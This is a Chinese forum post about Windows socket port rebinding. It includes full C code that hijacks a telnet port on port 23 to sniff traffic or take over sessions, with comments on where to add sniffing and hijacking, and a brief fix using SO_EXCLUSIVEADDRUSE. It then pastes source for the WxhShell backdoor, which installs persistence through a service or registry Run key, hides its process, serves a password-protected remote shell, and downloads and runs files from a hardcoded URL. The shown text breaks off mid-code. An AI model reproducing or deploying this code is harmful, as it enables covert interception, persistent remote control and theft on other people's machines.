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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xdrs!GV:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &h;J_Ps  
!mu1e=bY>  
  saddr.sin_family = AF_INET; U#kd cc|  
^eCMATE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?0'db  
)L$)qfQ~x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >~rytg]f  
A=\:b^\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C dTE~O<)  
&u9@FFBT8  
  这意味着什么?意味着可以进行如下的攻击: n~?n+\.&a  
xC-&<s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _{y4N0  
e<HHgC#J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o@DlK`  
5<h:kZ"S^g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1p COLC%1  
"uG@gV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qnTW?c9Z5  
+y9WJ   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ag0)> PD^  
&Q[|FO;[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G q2@37U  
9=p/'d8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0z`-fQfK  
^(T_rEp  
  #include ;;7: l,vy  
  #include d\j[O9W>  
  #include Tu_4kUCR!f  
  #include    2#xz,RM.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xA]}/*  
  int main() O <"\G!y~  
  { =~ [RG  
  WORD wVersionRequested; n>?eTlO3  
  DWORD ret; j5bp)U  
  WSADATA wsaData; R9)"%SO<y  
  BOOL val; \'-E[xNcWI  
  SOCKADDR_IN saddr; V8" m_  
  SOCKADDR_IN scaddr; ,w$:=;i  
  int err; 2rG$.cGN"  
  SOCKET s; X.J$ 5b  
  SOCKET sc; t-VU&.Y  
  int caddsize; whh#J (  
  HANDLE mt; &W$s-qf".  
  DWORD tid;   &a?k1R>  
  wVersionRequested = MAKEWORD( 2, 2 ); GVUZn//  
  err = WSAStartup( wVersionRequested, &wsaData ); T1g3`7C3  
  if ( err != 0 ) { lka Wwjv_D  
  printf("error!WSAStartup failed!\n"); UA(&_-C\  
  return -1; F`RPXY`ux  
  } LV`tnt's  
  saddr.sin_family = AF_INET; 4s7&*dJ  
   s1%th"e [  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O("13cU  
O7# 8g$ZIv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,V.Bzf%=O  
  saddr.sin_port = htons(23); F$te5 ` a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2dJP|T9H  
  { 0artR~*}  
  printf("error!socket failed!\n"); EdC/]  
  return -1; L(t!C~3  
  } a?8boN(  
  val = TRUE; 5 =Op%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5LJ0V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ['Y"6[1  
  { /#g P#Z%  
  printf("error!setsockopt failed!\n"); b;I zK'  
  return -1; o3(:R0  
  } JXF0}T)C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tga%-xr+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %ZM"c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1}ws@hU  
nUf0TkA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >Q[3t79^  
  { ^:Fj+d  
  ret=GetLastError(); ,j e  
  printf("error!bind failed!\n"); a9g~(#?a  
  return -1; *1g3,NMA  
  } k]9+/ $  
  listen(s,2); tx,q=.(  
  while(1) @!p0<&R@x  
  { W}'l8z]   
  caddsize = sizeof(scaddr); Mew,g:m:  
  //接受连接请求 %Z+FX,AK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3#N`n |UgC  
  if(sc!=INVALID_SOCKET) ob]j1gYb  
  { UM:]Qba In  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tX~ *.W:  
  if(mt==NULL) <7_s'UAL!  
  { ?ZP@H _w6}  
  printf("Thread Creat Failed!\n"); tui5?\  
  break; =hi{J M  
  } qijQRxS  
  } ,Rdw]O  
  CloseHandle(mt); (CInt_dBw~  
  } o^v]d7I8b  
  closesocket(s); Nj=0bg"Qg5  
  WSACleanup(); rr]-$]Q  
  return 0; p9![8VU  
  }   cyBm,!  
  DWORD WINAPI ClientThread(LPVOID lpParam) K@tELYb  
  { -S7i':  
  SOCKET ss = (SOCKET)lpParam; O'h f8w  
  SOCKET sc; Of m0{c=  
  unsigned char buf[4096]; aY0{vX  
  SOCKADDR_IN saddr; 6o&ZS @  
  long num; `APeS=< &  
  DWORD val; G.]'pn  
  DWORD ret; A$70!5*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bMB*9<c~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <RuLIu  
  saddr.sin_family = AF_INET; {'sp8:$a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %\T#Ik~3  
  saddr.sin_port = htons(23); L [&|<<c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pU1miA '  
  { ;e6L@)dp9  
  printf("error!socket failed!\n"); >!bw8lVV  
  return -1; 3v ~[kVhoG  
  } Q'rgh+6  
  val = 100; lP *p7Y '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vp&"[rC_z  
  { M}]4tAyT  
  ret = GetLastError(); N"s"^}M\  
  return -1; mC} b>\  
  } wizLA0W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r6vI6|1  
  { ~DP5Qi  
  ret = GetLastError(); IO7cRg'-F  
  return -1; >?[?W|k7V  
  } F0tcVdv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OV|n/~  
  { l~mj>$  
  printf("error!socket connect failed!\n"); Zi{vEI]  
  closesocket(sc); U#:N/ts*(  
  closesocket(ss); i?861Hu  
  return -1; Ffig0K+ `  
  } }kSP p  
  while(1) ndu$N$7+  
  { 9r> iP L2H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 # J^ >7v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ogqKM_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :9f 9Z7M  
  num = recv(ss,buf,4096,0); hISYtNWjd"  
  if(num>0) +2>, -V  
  send(sc,buf,num,0); Cz6bD$5  
  else if(num==0) .>1vN+  
  break; s9SUj^  
  num = recv(sc,buf,4096,0); E: Ul_m8  
  if(num>0) e5(c,,/  
  send(ss,buf,num,0); ki|OowP  
  else if(num==0) vI]V@i l  
  break; =R*IOJ  
  } ET(/h/r  
  closesocket(ss); cZ3A~dTOR  
  closesocket(sc); A3|2;4t  
  return 0 ; +mN8uU~(kx  
  } NfZC}  
.Hg{$SAC(w  
g){gF(   
========================================================== @(IA:6GN  
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下边附上一个代码,,WXhSHELL n.Y45(@E  
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========================================================== -$I$zo  
EAHdt=8W{  
#include "stdafx.h" OZ/"W)  
5 %+epzy  
#include <stdio.h> G 2uM6  
#include <string.h> Z/q'^PB p  
#include <windows.h> 2 ,krVb?<  
#include <winsock2.h> ?*6Q ;.f<  
#include <winsvc.h> ni6zo~+W]  
#include <urlmon.h> {vk%&{D0)  
N'0nt]&a  
#pragma comment (lib, "Ws2_32.lib") \H 5t-w=  
#pragma comment (lib, "urlmon.lib") h6?o)Q>N  
pZ]&M@Ijp  
#define MAX_USER   100 // 最大客户端连接数 G=l:v  
#define BUF_SOCK   200 // sock buffer xl Q]"sm1  
#define KEY_BUFF   255 // 输入 buffer bl{W{?QI  
!Ej?9LHo  
#define REBOOT     0   // 重启 (dh9aR_a  
#define SHUTDOWN   1   // 关机 # )s +I2  
2fXwJG'  
#define DEF_PORT   5000 // 监听端口 8! /ue.T  
Zzmo7kFx3  
#define REG_LEN     16   // 注册表键长度 TN<"X :x9  
#define SVC_LEN     80   // NT服务名长度 0^)~p{Zh  
Jl|^^?  
// 从dll定义API 8 mt#S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %S^:5#9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H9Vn(A8&`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `JyI`@,!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^CD? SP"i  
^S 45!mSb  
// wxhshell配置信息 I8|"h8\  
struct WSCFG { > w SI0N  
  int ws_port;         // 监听端口 +BE_t(%p"  
  char ws_passstr[REG_LEN]; // 口令 n4.\}%=z  
  int ws_autoins;       // 安装标记, 1=yes 0=no HkY#i;%N  
  char ws_regname[REG_LEN]; // 注册表键名 "whs?^/  
  char ws_svcname[REG_LEN]; // 服务名 VxE;tJ>1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GyV uQ51  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CZ>Ujw=&k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qRz /$|.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nRT ]oAi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ])q,mH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]YOWCFAQot  
w-C%,1F,/  
}; =E-o@#BS  
O\6gw$  
// default Wxhshell configuration <U8w#dc  
struct WSCFG wscfg={DEF_PORT, 2*] [M,L0c  
    "xuhuanlingzhe", a'd=szt  
    1, iiWpm E<,  
    "Wxhshell",  SiJ{  
    "Wxhshell", 6PC?*^v  
            "WxhShell Service", y1[@4TY]  
    "Wrsky Windows CmdShell Service", "U$](k.<VA  
    "Please Input Your Password: ", %*RZxR):  
  1, h 92KU  
  "http://www.wrsky.com/wxhshell.exe", A`"?~_pHC  
  "Wxhshell.exe" 4YoQ*NQw-  
    }; FF0~i+5  
Ul3xeu  
// 消息定义模块 8L]Cc!~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :B\ $7+$v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z~[eG"6zI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4~8-^^  
char *msg_ws_ext="\n\rExit."; TX7dwmt) N  
char *msg_ws_end="\n\rQuit."; sHPj_d#  
char *msg_ws_boot="\n\rReboot..."; =(~ZmB\  
char *msg_ws_poff="\n\rShutdown..."; /82E[P"}6R  
char *msg_ws_down="\n\rSave to "; ~Q5]?ZNX  
b5ul|p  
char *msg_ws_err="\n\rErr!"; J*m7 d4^  
char *msg_ws_ok="\n\rOK!"; &wN}<G e6  
r%NzKPW'  
char ExeFile[MAX_PATH]; M#Q"h5l  
int nUser = 0; JIqg[Mao  
HANDLE handles[MAX_USER]; K3h"oVn  
int OsIsNt; L\!Oj5  
`u_k?)lK  
SERVICE_STATUS       serviceStatus; aOQT-C[ O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; keStK8  
o)$eIu}Wg  
// 函数声明 8VuLL<\|  
int Install(void); 0k4XVd+Nv  
int Uninstall(void); cl |}0Q5  
int DownloadFile(char *sURL, SOCKET wsh); IRTWmT jT  
int Boot(int flag); S~&9DQNj  
void HideProc(void); 8iM:ok  
int GetOsVer(void); x(p/9$.#  
int Wxhshell(SOCKET wsl); m\E=I5*/  
void TalkWithClient(void *cs); `cIeqp  
int CmdShell(SOCKET sock); ooP{Q r  
int StartFromService(void); o 9(x\g  
int StartWxhshell(LPSTR lpCmdLine);  j8]M}Q$  
O^ 5C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;jO+<~YP!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zMM ~4?4  
"KSdC8MS  
// 数据结构和表定义 U??OiKVZ+  
SERVICE_TABLE_ENTRY DispatchTable[] = }SyK)W5Y  
{ THB[(3q  
{wscfg.ws_svcname, NTServiceMain}, e@S\7Ks  
{NULL, NULL} q8,,[R_  
}; k ~F ,n  
 *I}_g4  
// 自我安装 hS>=p O+y  
int Install(void) oel?we6  
{ wD W/?lT&  
  char svExeFile[MAX_PATH]; M(uJ'Ud/!  
  HKEY key; E>O@Bv  
  strcpy(svExeFile,ExeFile); de[NIDA;`  
`LKf$cx(A  
// 如果是win9x系统,修改注册表设为自启动 ;%cW[*Dw  
if(!OsIsNt) { 25r3[gX9`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g>`D!n::n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B__e*d:)!m  
  RegCloseKey(key); .9Dncsnf,`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5@ Hg 4.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9xE_Awlc85  
  RegCloseKey(key); D9hq$?  
  return 0; TI0=nfj  
    } 4 Lz[bI  
  } H+@?K6{h  
} ~:|V,1  
else { |cC&,8O:{  
Og?GYe^_  
// 如果是NT以上系统,安装为系统服务 NRspi_&4J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^+gD;a|t  
if (schSCManager!=0) : #so"O  
{ fZ^ad1o  
  SC_HANDLE schService = CreateService JNP6qM  
  ( c0w1 N]+Ne  
  schSCManager, ps:E(\  
  wscfg.ws_svcname,  ?sR(  
  wscfg.ws_svcdisp, "9N;&^ I  
  SERVICE_ALL_ACCESS, !1A< jL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L"0?g(< 5  
  SERVICE_AUTO_START, fN:FD`  
  SERVICE_ERROR_NORMAL, jM-5aj[K  
  svExeFile, H ]!P[?  
  NULL, ;lt8~ea  
  NULL, c `.BN(  
  NULL, 77wod}h!:  
  NULL, ,DEcCHr,  
  NULL 563ExibH  
  ); Vi0D>4{+  
  if (schService!=0) QjYw^[o  
  { %;<g!Vw.k  
  CloseServiceHandle(schService); L|;sB=$'{  
  CloseServiceHandle(schSCManager); ZF8`= D`:R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !DHfw-1K  
  strcat(svExeFile,wscfg.ws_svcname); P^U.VXY}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vock19P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4$U^)\06W  
  RegCloseKey(key); /;!I.|j  
  return 0; Xn>>hzj-x?  
    } K$r)^K=s  
  } .YP&E1lNi  
  CloseServiceHandle(schSCManager); @2hOy@V  
} }9!}T~NMs  
} uc|ej9N  
q!~DCv df  
return 1; [$:L| V!{  
} #q-fRZ:P  
TefPxvd  
// 自我卸载 /s+S\ djk  
int Uninstall(void) -"^xg"  
{ +Hp`(^(  
  HKEY key; ;E>#qYC6  
LB9W.cA   
if(!OsIsNt) { | h+vdE8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c\O2|'JzE  
  RegDeleteValue(key,wscfg.ws_regname); !| - U,  
  RegCloseKey(key); Z`zLrXPD)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4X+I2CD  
  RegDeleteValue(key,wscfg.ws_regname); ]\k& l ['  
  RegCloseKey(key); >+>N/`BG  
  return 0; %?[0G,JG  
  } m`]d`%Ex  
} {) sE;p-  
} }U4mXkZF  
else { 7r.~L  
t~44ub6GN`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L]&y[/\E1  
if (schSCManager!=0) 4gUx#_AaG  
{ "/2kf)l{4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H<P d&  
  if (schService!=0) hb %F"Q  
  { @O-\s q  
  if(DeleteService(schService)!=0) { 1+Ik\  
  CloseServiceHandle(schService); VUz+ _)  
  CloseServiceHandle(schSCManager); FN (O  
  return 0; -(ST   
  } #hMkajG  
  CloseServiceHandle(schService); tF./Jx]_  
  } pF8+< T3y  
  CloseServiceHandle(schSCManager); ELG9ts+5Uj  
} G%= gCR  
} (hIo0 .  
Y]uVA`%"b  
return 1; 5r~hs6H  
} v (S h+p  
$H]NC-\+>  
// 从指定url下载文件 aygK$.wos  
int DownloadFile(char *sURL, SOCKET wsh) W"CG&.  
{ PAxR?2m{  
  HRESULT hr; 'fk6]&-I  
char seps[]= "/"; ^\Q%VTM  
char *token; ZvO1=* J,  
char *file; ~`B]G  
char myURL[MAX_PATH]; W/CZ/Mc  
char myFILE[MAX_PATH]; ta PqRsvu  
vb`aV<MhH  
strcpy(myURL,sURL); Q~P|=*  
  token=strtok(myURL,seps); GhjqStjS&l  
  while(token!=NULL) ?32i1F!  
  { T7O)  
    file=token; %=\*OIhl  
  token=strtok(NULL,seps); e$JATA:j  
  } U}5]Vm$]  
6K=}n] n  
GetCurrentDirectory(MAX_PATH,myFILE); 82?LZ?!PD  
strcat(myFILE, "\\"); @L0)k^:  
strcat(myFILE, file); AR&l9R[{N  
  send(wsh,myFILE,strlen(myFILE),0); zAJC-YC6  
send(wsh,"...",3,0); p<w C{D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O'3/21)|y  
  if(hr==S_OK) J |UFuD  
return 0; S-</(,E}|  
else }m7$,'C%P  
return 1; )ZFc5m^+u  
TqOH(= {  
} J(= y$8xje  
(N)>?r@n`  
// 系统电源模块 uK1VFW  
int Boot(int flag)  a3a:H  
{ q(1hY"S"}b  
  HANDLE hToken; crSqbL  
  TOKEN_PRIVILEGES tkp; Y4X`(\A  
@e$EwCV,  
  if(OsIsNt) { jR@>~t[}o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $d,{I8d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s'IB{lJ9  
    tkp.PrivilegeCount = 1; uss!E!_%,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kf9]nIo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); imhE=6{  
if(flag==REBOOT) { l0g+OMt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bT|-G2g7Z  
  return 0; vGI)c&C>  
} =wD&hDn4  
else { yT='V1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Ad`_g6Wew  
  return 0; W`TSR?4~t?  
} u),.q7(m  
  } 5l%g3F  
  else { bUSa#pNO>  
if(flag==REBOOT) { W{j(=<|<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N%e^2O)  
  return 0; ]&P 4QT)f  
} *Ue#Sade  
else { 2:e7'}\D.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CteNJBm  
  return 0; .0;\cv4}  
} :QXKG8^  
} 7+hc?H[&'  
ua_,c\iL  
return 1; W%o! m,zFM  
} ^<   
*Gj`1# Z$  
// win9x进程隐藏模块 Ag8lI+ h  
void HideProc(void) 1Y~'U =9  
{ 4-$kc wA  
U:[CcN/~3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3 +`,'Q9  
  if ( hKernel != NULL ) fRkx ^u P  
  { 6k<3,`VV|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x;LO{S4Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b5f+q:?{  
    FreeLibrary(hKernel); -mLu!32I<  
  } roe_H>  
<yvo<R^30  
return; B[+b%a3  
} u^WZsW  
%|j`;gYV  
// 获取操作系统版本 /ZH*t\  
int GetOsVer(void) NJOV!\k  
{ 6KPjZC<  
  OSVERSIONINFO winfo; TB84}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QA)W(1  
  GetVersionEx(&winfo); |8GLS4.]t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !0):g/2h  
  return 1; &+ H\ST(/  
  else I'N!j>5oX  
  return 0; BuxU+  
} 'AmA3x)9u  
PGVP0H+RV  
// 客户端句柄模块 U#XW}T=|  
int Wxhshell(SOCKET wsl) :/RvtmW  
{ E33x)CP  
  SOCKET wsh; ng6E &<Z  
  struct sockaddr_in client; yC4%z) t&R  
  DWORD myID; frV_5yK'  
w=0zVh_`(  
  while(nUser<MAX_USER) G(t&(t`[  
{ t~!ag#3['.  
  int nSize=sizeof(client); HL:w*8a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5-S-r9  
  if(wsh==INVALID_SOCKET) return 1; -Hy> z  
]+ tO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]@ Vp:RGMr  
if(handles[nUser]==0) uv{*f)j/d  
  closesocket(wsh); wWq-zGH|&  
else L},o;p:  
  nUser++; l-Dgm  
  } 6{fo.M?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z(>:LX"xz  
<7/7+_y  
  return 0; qP=a:R-  
} t$R0UprK  
z: )*Aobwv  
// 关闭 socket 4FKgp|Y0  
void CloseIt(SOCKET wsh) {?X +Yw  
{ !MmbwB'  
closesocket(wsh); A-$ C6q   
nUser--; %z"$?Iv  
ExitThread(0); kb~ 9/)~g  
} kY'C'9p  
[DTe  
// 客户端请求句柄 F#qc#s  
void TalkWithClient(void *cs) !9j6l 0  
{ l SuNZY aO  
~i>'3j0@k  
  SOCKET wsh=(SOCKET)cs; :&E~~EUW  
  char pwd[SVC_LEN]; A$;*O)  
  char cmd[KEY_BUFF]; VjZb\ d4  
char chr[1]; #ZHKq7  
int i,j; 6r[pOl:  
``kesz  
  while (nUser < MAX_USER) { cwQ *P$n  
6QPT  
if(wscfg.ws_passstr) { B>cx[.#!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x@> ~&eP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8%MF <   
  //ZeroMemory(pwd,KEY_BUFF); N;=J)b|9  
      i=0; IQmlmu  
  while(i<SVC_LEN) { 8. %g&% S  
N2u4MI2  
  // 设置超时 yV&]i-ey  
  fd_set FdRead; NxFCVqGb  
  struct timeval TimeOut; qa6HwlC1  
  FD_ZERO(&FdRead); !yKrA|w1  
  FD_SET(wsh,&FdRead); QP@@h4J^  
  TimeOut.tv_sec=8; Ku3NE-)  
  TimeOut.tv_usec=0; 7CX5pRNL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a@?ebCE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ma`sv<f4-!  
Vu<mOuh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OSC_-[b-  
  pwd=chr[0]; ye| 2gH  
  if(chr[0]==0xd || chr[0]==0xa) { =Prz|   
  pwd=0; E6-~  
  break; &G3$q,`H  
  } }UG<_ bE|  
  i++; (YYwn@NGj  
    } W)Yo-%  
;b_<5S  
  // 如果是非法用户,关闭 socket vgr 5j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \,I{*!hw  
} a3He-76  
Q"oJhxS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }MM:qR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KkR.p,/  
Lk-h AN{[  
while(1) { }F3}"Ik'L  
9HlM0qE5b  
  ZeroMemory(cmd,KEY_BUFF); Nk9w ; z&  
v6T<K)S  
      // 自动支持客户端 telnet标准   gf8~Zlq4v  
  j=0; mDWRYIuN  
  while(j<KEY_BUFF) {  Y@b|/+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8,B#W#*{  
  cmd[j]=chr[0]; f>?b2a2HX  
  if(chr[0]==0xa || chr[0]==0xd) { Jd33QL}Hj  
  cmd[j]=0; 1flBA,6L  
  break; 3BB/u%N}  
  } F}5skD=  
  j++; 8%b-.O:_$  
    } i6^-fl  
o;pJjC]  
  // 下载文件 hCj8y.X|E(  
  if(strstr(cmd,"http://")) { mWVq>~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )Qo^Mz  
  if(DownloadFile(cmd,wsh)) os+ ]ct  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }jNVR#D:  
  else .WGrzhsV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nF.whq  
  } pq]>Ep  
  else { m2F+ 6G  
2o0WS~}5  
    switch(cmd[0]) { [?)He} _L  
  X>MDX.Z  
  // 帮助 70nBC  
  case '?': { M7(]NQ\TQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lcs?2c:%  
    break; g}I{-  
  } m khp@^5  
  // 安装 X@~R<  
  case 'i': { $oi8 <8Y  
    if(Install()) Ga;Lm?6-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ Vsf? ID  
    else qwd T= H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dh9C9<Ta:  
    break; s>ZlW:jY  
    } XeAH.i<  
  // 卸载 rX|{nb  
  case 'r': { Ys@\~?ym+  
    if(Uninstall()) e~$aJO@B.R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B)&z% +  
    else 0-Wv$o[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v&"sTcS|  
    break; #-g2p?+i&  
    } HU-#xK  
  // 显示 wxhshell 所在路径 :2;c@ uj  
  case 'p': { -L2% ,.E>4  
    char svExeFile[MAX_PATH]; PkF'#W%  
    strcpy(svExeFile,"\n\r"); OUm,;WNLf  
      strcat(svExeFile,ExeFile); F'njtrO3  
        send(wsh,svExeFile,strlen(svExeFile),0); sfCU"O2G  
    break; ^<Sy{KY  
    } t\-;n:p-  
  // 重启 [} "m4+  
  case 'b': { XJ?zP=UK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (gUxS.zU  
    if(Boot(REBOOT)) oX6()FR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <A] Kg  
    else { ezr'"1Ba}  
    closesocket(wsh); (w/lZt  
    ExitThread(0); >uYGY{+j[  
    } }A7 ] bd  
    break; Gq.fQ_oOb  
    } C33=<r[;N<  
  // 关机 L!:;H,  
  case 'd': { ,Z[pLF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }[By N).  
